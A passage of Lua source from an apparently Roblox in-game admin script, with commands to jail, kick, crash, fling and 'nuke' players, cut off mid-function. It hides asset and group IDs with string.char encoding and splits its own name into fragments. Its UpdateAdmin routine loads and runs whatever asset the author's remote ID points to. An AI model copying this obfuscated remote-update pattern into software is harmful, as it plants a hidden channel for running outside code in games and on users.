865 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
866 getfenv(Script).Server, getfenv(Script).script = Server,script
867 if Speaker then
868 getfenv(Script).print = function(...)
869 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
870 end
871 getfenv(Script).print_array = function(List)
872 if type(List) == "table" then
873 GUI:ListGui(Speaker, "Listed Table", List, "Output")
874 end
875 end
876 end
877
878 local Suc, Error = ypcall(coroutine.wrap(Script))
879
880 if not Suc then
881 Error = CORE:HandleError(Error, Speaker)
882 end
883
884 return Suc,Error
885 end
886end
887
888function CORE:GetTime(Regular, FullDate)
889 if Regular == nil then Regular = true end
890 local Meridiem = ""
891 if Regular == true then Meridiem = " AM" end
892 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
893 local Hour = math.floor(SecondsOfToday / (60*60))
894 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
895 local Second = math.floor(math.fmod(SecondsOfToday, 60))
896 if Hour > 12 and Regular == true then
897 Hour = Hour - 12
898 Meridiem = " PM"
899 end
900 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
901 if #Hour <= 1 then Hour = "0"..Hour end
902 if #Minute <= 1 then Minute = "0"..Minute end
903 if #Second <= 1 then Second = "0"..Second end
904 local Return = Hour..":"..Minute..":"..Second..Meridiem
905 if FullDate == true and Date then Return = Date.." "..Return end
906 return Return
907end
908
909function CORE:RemoveAdmin(Speaker)
910 local Answer = true -- false
911 if not CORE:NilPlayer(Speaker) then
912 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
913 end
914 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
915 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
916 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
917 for _,Item in pairs(Player:GetChildren()) do
918 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
919 Item:Destroy()
920 end
921 end
922 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
923 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
924 GUI:Destroy()
925 end
926 end
927 end end
928 for _,Car in pairs(Cars) do
929 Car:Destroy()
930 end
931 CORE:FixLighting()
932 while wait() do
933 if script:FindFirstChild("Override") then script.Override.Value = true end
934 Settings,CORE,IRC = nil,{},{}
935 if Sound then Sound:Stop() end
936 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
937 script:ClearAllChildren() script:Destroy() script.Disabled = true
938 end
939 end
940end
941
942function CORE:MakeBase()
943 for _,Get in pairs(Workspace:GetChildren()) do
944 if Get.Name == "Base" or Get.Name == "BasePlate" then
945 Get:Destroy()
946 end
947 end
948 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
949end
950
951function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
952 if IsAbusive == nil then IsAbusive = false end
953 if Commands[CommandName] then table.remove(Commands[CommandName]) end
954 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
955end
956
957function CORE:FixLighting() coroutine.wrap(function()
958 ModLighting = false
959 wait(0.2)
960 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
961 Server.Lighting.FogColor = Color3.new(0,0,0)
962 Server.Lighting.Brightness = 1
963 Server.Lighting.TimeOfDay = 14
964 Server.Lighting.FogEnd = 100000
965end)() end
966
967function CORE:Round(Number)
968 if Number >= 0.5 then
969 return math.ceil(Number)
970 elseif Number < 0.5 then
971 return math.floor(Number)
972 end
973end
974
975local AdminID,Got = nil,false
976repeat wait()
977 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
978until Got == true
979
980function CORE:GetTable(ID)
981 local Thing = nil
982 repeat wait()
983 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
984 until Thing
985 return Thing
986end
987
988function CORE:InAdminGroup(Speaker)
989 local IsIn = false
990 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
991 if Speaker:IsInGroup(Get) then
992 IsIn = true
993 end
994 end
995 if IsIn == true then
996 return true
997 else
998 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
999 return false
1000 end
1001end
1002
1003function CORE:ReverseTable(Table)
1004 if type(Table) ~= "table" then return Table end
1005 local NewTable = {}
1006 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
1007 return NewTable
1008end
1009
1010function CORE:Log(LogTable, Player, Chat)
1011 local PlayerName = tostring(Player)
1012 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
1013 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
1014end
1015
1016function CORE:Jail(Player)
1017 if not Player then return nil end
1018 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
1019 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
1020 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
1021 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
1022 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
1023 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
1024 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
1025 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
1026 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
1027 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
1028 Cell:MoveTo(Vector3.new(0,3,0))
1029
1030 if Player.Character and Player.Character:FindFirstChild("Torso") then
1031 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
1032 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
1033 end
1034 table.insert(Dispose, Cell)
1035 Jails[Player.Name] = Cell
1036end
1037
1038function CORE:UnJail(Player)
1039 if not Player then return nil end
1040 if Jails[Player.Name] then
1041 Jails[Player.Name]:Destroy()
1042 Jails[Player.Name] = nil
1043 end
1044end
1045
1046function CORE:ChangeName(Player, NewName)
1047 if not Player or not NewName then return nil end
1048 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
1049 local NewName = STRING:FormatReplace(Player, NewName)
1050
1051 for _,Obj in pairs(Player.Character:GetChildren()) do
1052 if Obj.Name == "Label" then Obj:Destroy() end
1053 end
1054
1055 local Head = Player.Character.Head
1056 local HeadClone = Head:Clone()
1057
1058 -- make actual head invisible
1059 Head.Transparency = 1
1060 ypcall(function() Head.face.Transparency = 1 end)
1061
1062 -- make fake head visible
1063 HeadClone.Transparency = 0
1064 ypcall(function() HeadClone.face.Transparency = 0 end)
1065
1066 local Label = Instance.new("Model", Player.Character)
1067 Label.Name = "Label"
1068
1069 local Model = Instance.new("Model", Label)
1070 Model.Name = NewName
1071
1072 local HumanoidClone = Instance.new("Humanoid", Model)
1073 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1074
1075 HeadClone.Position = Vector3.new(0,100,0)
1076 HeadClone.CanCollide = false
1077 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1078
1079
1080 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1081 HeadClone.Parent = Model
1082 local Weld = Instance.new("Weld", HeadClone)
1083 Weld.Part0 = HeadClone
1084 Weld.Part1 = Head
1085 end)
1086 end
1087end
1088
1089function CORE:UpdateAdmin()
1090 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1091 return nil
1092 end
1093 local UpdateModel = AdminID
1094 if UpdateModel == 0 then return end
1095 local NewAdminModel = nil
1096 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1097 if NewAdminModel then
1098 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1099 if NewAdmin then
1100 local NewVersion = NewAdmin:FindFirstChild("Version")
1101 if NewVersion.Value ~= CORE.Version.Value then
1102 if ExploitModule then
1103 ExploitModule.Disabled = true
1104 ExploitModule:Destroy()
1105 end
1106 NewAdmin.Disabled = true
1107 NewAdmin.Parent = Workspace
1108 if not Settings then
1109 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1110 if NewSettings then NewSettings.Parent = Workspace end
1111 end
1112 wait() NewAdmin.Disabled = false
1113 CORE:RemoveAdmin()
1114 else
1115 NewAdminModel:Destroy()
1116 end
1117 end
1118 end
1119end
1120
1121function CORE:UnpackPlayers(Players)
1122 local PlayerNames = ""
1123 for Num,Player in pairs(Players) do
1124 if Player ~= nil then
1125 if Num ~= #Players then
1126 PlayerNames = PlayerNames..Player.Name..", "
1127 else
1128 PlayerNames = PlayerNames..Player.Name
1129 end
1130 end
1131 end
1132 return PlayerNames
1133end
1134
1135function CORE:GetValue(Value)
1136 if Value:IsA("StringValue") then
1137 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1138 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1139 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1140 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1141 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1142 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1143 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1144 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1145 if Admin == Value.Value then
1146 table.remove(Settings.Ranks["Admin"],Num)
1147 end
1148 end
1149 end end
1150 end
1151end
1152
1153function CORE:GetPlayer(ID)
1154 local Return = {"Unknown", ID}
1155 if tonumber(ID) then
1156 for _,Data in pairs(CharacterCache) do
1157 if ID == Data[2] then
1158 return Data
1159 end
1160 end
1161 ypcall(function()
1162 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1163 if Name then
1164 local Data = {Name, ID}
1165 table.insert(CharacterCache, Data)
1166 Return = Data
1167 end
1168 end)
1169 else
1170 local Name = tostring(ID)
1171 for _,Data in pairs(CharacterCache) do
1172 if string.lower(Name) == string.lower(Data[1]) then
1173 return Data
1174 end
1175 end
1176 ypcall(function()
1177 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1178 if PlayerID then
1179 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1180 local Data = {Name, PlayerID}
1181 table.insert(CharacterCache, Data)
1182 Return = Data
1183 end
1184 end)
1185 end
1186
1187 return Return
1188end
1189
1190function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1191 if ID and #tostring(ID) >= 1 then
1192 local PlayerName = nil
1193
1194 local Players = STRING:Scan(ID, Speaker)
1195 if #Players >= 1 then -- if player is found in server
1196 ID = Players[1].UserId
1197 elseif tonumber(ID) then
1198 local Data = CORE:GetPlayer(ID)
1199 PlayerName = Data[1]
1200 else
1201 local Data = CORE:GetPlayer(tostring(ID))
1202 PlayerName = Data[1]
1203 ID = Data[2]
1204 end
1205
1206 if tonumber(ID) == 20018 then -- exploding easter bunny
1207 local OldID = ID
1208 ID = 1
1209 if Speaker then
1210 if RANK:GetRank(Speaker) == "Member" then
1211 coroutine.wrap(function()
1212 wait(1)
1213 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1214 end)()
1215 else ID = OldID
1216 end
1217 end
1218 elseif tonumber(ID) == 1311 then -- ffjosh
1219 local OldID = ID
1220 ID = 1
1221 if Speaker then
1222 if RANK:GetRank(Speaker) == "Member" then
1223 coroutine.wrap(function()
1224 wait(1)
1225 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1226 end)()
1227 else ID = OldID
1228 end
1229 end
1230 end
1231
1232 if tonumber(ID) then
1233 local Position = nil
1234 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1235 if ManualPos then
1236 Position = ManualPos
1237 else
1238 Position = Player.Character.Torso.Position
1239 end
1240 end
1241 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1242 wait() Player:LoadCharacter() wait()
1243 if Position then Player.Character:MoveTo(Position) end
1244 if not Perm then
1245 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1246 end
1247 if NameChar and PlayerName then
1248 wait(2)
1249 CORE:ChangeName(Player, PlayerName)
1250 end
1251 end
1252 end
1253end)() end
1254
1255function CORE:GenerateShield(Player)
1256 if not Player then return nil end
1257 if not Player.Character then return nil end
1258 local Torso = Player.Character:FindFirstChild("Torso")
1259 if not Torso then return nil end
1260
1261 local Shield = Player.Character:FindFirstChild("Shield")
1262 if Shield then Shield:Destroy() end
1263
1264 Shield = Instance.new("Part", Player.Character)
1265 Shield.Name = "Shield"
1266 Shield.Locked = true
1267 Shield.CanCollide = false
1268 Shield.Size = Vector3.new(10,10,10)
1269 Shield.Shape = "Ball"
1270 Shield.Color = GUI:GetColor()
1271 Shield.Transparency = 0.5
1272 Shield.TopSurface = "Smooth"
1273 Shield.BottomSurface = "Smooth"
1274 Shield.Anchored = true
1275 Shield.Position = Torso.Position
1276
1277 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1278 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1279
1280 Hum:Play()
1281
1282 Shield.Touched:connect(function(Part)
1283 if Part.Parent ~= Server.Workspace then
1284 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1285 if Humanoid then
1286 local Char = Humanoid.Parent
1287 if Char:IsA("Model") and Humanoid.Health > 0 then
1288 if Char ~= Player.Character then
1289 Char:BreakJoints()
1290 Zap:Play()
1291 end
1292 end
1293 end
1294 end
1295 end)
1296
1297 coroutine.wrap(function() repeat wait()
1298 Shield.CFrame = Torso.CFrame
1299 until Torso.Parent == nil or Shield.Parent == nil end)()
1300end
1301
1302function CORE:FlingPlayer(Player)
1303 if Player and Player.Character then
1304 if Player.Character:FindFirstChild("Torso") then
1305 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1306 Fling.Name = "Fling"
1307 Fling.force = Vector3.new(10000,10000,10000)
1308 end
1309 end
1310end
1311
1312function CORE:Kick(Player, CustomMessage)
1313 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1314 coroutine.wrap(function()
1315 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1316 wait(1)
1317 Player:Kick(CustomMessage)
1318 end)()
1319end
1320
1321function CORE:Crash(Player)
1322 local Parent = Player
1323 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1324 elseif Player.Character then Parent = Player.Character end
1325
1326 CORE:ExecuteResource("Crash", Parent)
1327end
1328
1329function CORE:RestoreCamera(Player)
1330 if Player.Backpack then
1331 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1332 end
1333end
1334
1335function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1336 local function ScanInstance(Object)
1337 if #Object:GetChildren() > 0 then
1338 for _,Obj in pairs(Object:GetChildren()) do
1339 local IsType = false
1340 if ObjTypes and #ObjTypes > 0 then
1341 for _,ObjType in pairs(ObjTypes) do
1342 if Obj:IsA(ObjType) then
1343 IsType = true
1344 break
1345 end
1346 end
1347 else
1348 IsType = true
1349 end
1350 if IsType == true then
1351 ActiveFunc(Obj)
1352 end
1353 ScanInstance(Obj)
1354 end
1355 end
1356 end
1357 ScanInstance(BaseObj)
1358end
1359
1360function CORE:AnchorPlayer(Player)
1361 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1362
1363 Player.Character.Humanoid.WalkSpeed = 0
1364 for _,Object in pairs(Player.Character:GetChildren()) do
1365 if Object:IsA("BasePart") then
1366 Object.Anchored = true
1367 end
1368 end
1369end
1370
1371function CORE:UnanchorPlayer(Player)
1372 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1373
1374 Player.Character.Humanoid.WalkSpeed = 16
1375 for _,Object in pairs(Player.Character:GetChildren()) do
1376 if Object:IsA("BasePart") then
1377 Object.Anchored = false
1378 end
1379 end
1380end
1381
1382function CORE:InvisiblePlayer(Player)
1383 if not Player or not Player.Character then return end
1384
1385 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1386end
1387
1388function CORE:VisiblePlayer(Player)
1389 if not Player or not Player.Character then return end
1390
1391 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1392end
1393
1394function CORE:Nuke(Player) coroutine.wrap(function()
1395 local Pos = CFrame.new(0,1,0)
1396 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1397 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1398 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1399 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1400 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1401 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1402
1403 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1404
1405 Server.Lighting.Brightness = 5
1406 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1407 Server.OutdoorAmbient = Color3.new(1,1,1)
1408
1409 local Exp = Instance.new("Explosion", Server.Workspace)
1410 Exp.Position = Pos.p
1411 Exp.BlastPressure = 10000000
1412 Exp.BlastRadius = 1000000
1413 Exp.Hit:connect(function(Part)
1414 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1415 ypcall(function()
1416 Part.Anchored = false
1417 Part.BrickColor = BrickColor.new("Black")
1418 Part.Material = "Slate"
1419 Part:BreakJoints()
1420 end)
1421 end
1422 end)
1423
1424 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1425 BoomSound:Play()
1426 for i = 0,100,0.5 do
1427 Blast.Anchored = true
1428 Wave.Anchored = true
1429 BlastMesh.Scale = Vector3.new(i,i,i)
1430 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1431 Blast.CFrame = Pos
1432 wait()
1433 end
1434 BoomSound:Stop()
1435 Blast:Destroy()
1436 Wave:Destroy()
1437 wait()
1438 BoomSound:Destroy()
1439 Effect:Destroy()
1440 for i = 10,5,-1 do
1441 Server.Lighting.Brightness = (i-5) + 1
1442 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1443 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1444 wait(0.05)
1445 end
1446end)() end
1447
1448function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1449 local AssetID = tonumber(AssetID)
1450 local Item = nil
1451 if AssetID and AssetID ~= 1055299 then
1452 local CanInsert = true
1453 if AbuseMode then
1454 for _,ID in pairs(RemoteAbuseGear) do
1455 if AssetID == tonumber(ID) then CanInsert = false break end
1456 end
1457 for _,ID in pairs(Settings.AbusableGear) do
1458 if AssetID == tonumber(ID) then CanInsert = false break end
1459 end
1460 end
1461 if CanInsert then
1462 Item = Server.IS:LoadAsset(AssetID)
1463 if GetFirstChild then
1464 Item = Item:GetChildren()[1]
1465 if FirstChildTypes and Item then
1466 local ValidType = false
1467 for _,Type in pairs(FirstChildTypes) do
1468 if Item:IsA(Type) then
1469 ValidType = true
1470 break
1471 end
1472 end
1473 if ValidType == false then
1474 Item = nil
1475 end
1476 end
1477 end
1478 if Item and Parent then
1479 Item.Parent = Parent
1480 end
1481 end
1482 end
1483 return Item
1484end
1485
1486function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1487 if not Player or not Player.Character then return nil end
1488 PID = tonumber(PID)
1489 for _,Obj in pairs(Player.Character:GetChildren()) do
1490 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1491 end
1492 if PID then
1493 -- back when we needed HttpService to get packages.
1494 --[[
1495 if PackageCache[PID] then
1496 for _,ID in pairs(PackageCache[PID]) do
1497 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1498 end
1499 else
1500 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1501 if IDsJSON then
1502 local IDs = REMOTE:Decode(IDsJSON)
1503 if IDs then
1504 if not IDs["Error"] then
1505 table.insert(PackageCache, IDs)
1506 for _,ID in pairs(IDs) do
1507 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1508 end
1509 end
1510 end
1511 end
1512 end
1513 ]]
1514 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1515 local IDs = {}
1516 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1517 if #IDs > 0 then
1518 for _,ID in pairs(IDs) do
1519 local PackagePart = CORE:Insert(ID)
1520 for _,Obj in pairs(PackagePart:GetChildren()) do
1521 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1522 Obj.Parent = Player.Character
1523 elseif Obj:IsA("Folder") then
1524 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1525 Obj:GetChildren()[1].Parent = Player.Character
1526 end
1527 end
1528 end
1529 end
1530 end
1531 end
1532end)() end
1533
1534function CORE:ChangeBet(Bet)
1535 if tostring(Bet) and Bet ~= Settings.Bet then
1536 for Index,Data in pairs(Commands) do
1537 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1538 end
1539 Settings.Bet = Bet
1540 end
1541end
1542
1543function CORE:ResetLighting()
1544 ModLighting = false wait(0.2) ModLighting = true
1545end
1546
1547function CORE:Fly(Player, Force)
1548 if Player and Player.Character then
1549 local StopFly = Instance.new("RemoteFunction", Player.Character)
1550 StopFly.Name = "StopMMLFly"
1551 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1552 end
1553end
1554
1555function CORE:GiveTools(Player, Type)
1556 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1557 Type = string.lower(Type)
1558 local _,RankNum = RANK:GetRank(Player)
1559 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1560 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1561
1562 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1563 for Name,Type in pairs(BaseBuildTools) do
1564 local Tool = Instance.new("HopperBin", Player.Backpack)
1565 Tool.Name = Name
1566 Tool.BinType = Type
1567 end
1568 elseif Type == "psbtools" then
1569 for _,Tool in pairs(BuildTools) do
1570 CORE:Insert(Tool, Player.Backpack, true)
1571 end
1572 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1573 if F3X then
1574 local F3X = F3X:Clone()
1575 F3X.Parent = Player.Backpack
1576 end
1577 elseif Type == "btools" then
1578 if F3X then
1579 local F3X = F3X:Clone()
1580 F3X.Parent = Player.Backpack
1581 end
1582 for Name,Type in pairs(BaseBuildTools) do
1583 local Tool = Instance.new("HopperBin", Player.Backpack)
1584 Tool.Name = Name
1585 Tool.BinType = Type
1586 end
1587 for _,Tool in pairs(BuildTools) do
1588 CORE:Insert(Tool, Player.Backpack, true)
1589 end
1590 else
1591 for _,Region in pairs(ToolRegions) do
1592 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1593 if Type == "all" then
1594 local NewItem = Item:Clone()
1595 NewItem.Parent = Player.Backpack
1596 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1597 local NewItem = Item:Clone()
1598 NewItem.Parent = Player.Backpack
1599 end
1600 end)
1601 end
1602 end
1603end
1604
1605function CORE:Scale(Player, ScalePercent)
1606 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1607 local Ratio = ScalePercent/100
1608 if Ratio < 0.05 then Ratio = 0.05 end
1609 if Ratio > 100 then Ratio = 100 end
1610 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1611 local Char = Player.Character
1612
1613 local Clean = Char:FindFirstChild("Clean")
1614 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1615 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1616
1617 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1618 local Welds = {}
1619 local Parts = {}
1620
1621 local function Handle(Obj)
1622 if Obj:IsA("BasePart") and not JustWeld then
1623 table.insert(Parts, Obj)
1624 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1625 if Obj.Name == "MML Mesh" then
1626 Obj:Destroy()
1627 end
1628 if Obj.MeshType == Enum.MeshType.FileMesh then
1629 Obj.Offset = Obj.Offset * ScaleRatio
1630 Obj.Scale = Obj.Scale * ScaleRatio
1631 elseif Ratio < 1 then
1632 Obj.Offset = Obj.Offset * ScaleRatio
1633 Obj.Scale = Obj.Scale * ScaleRatio
1634 end
1635 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1636 if Ratio < 1 then
1637 local BodyPart = ""
1638 local TextureID = Obj.BaseTextureId
1639 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1640 if TextureID == 0 then TextureID = nil end
1641 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1642 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1643 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1644 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1645 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1646 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1647 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1648 NewMesh.Name = "MML Mesh"
1649 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
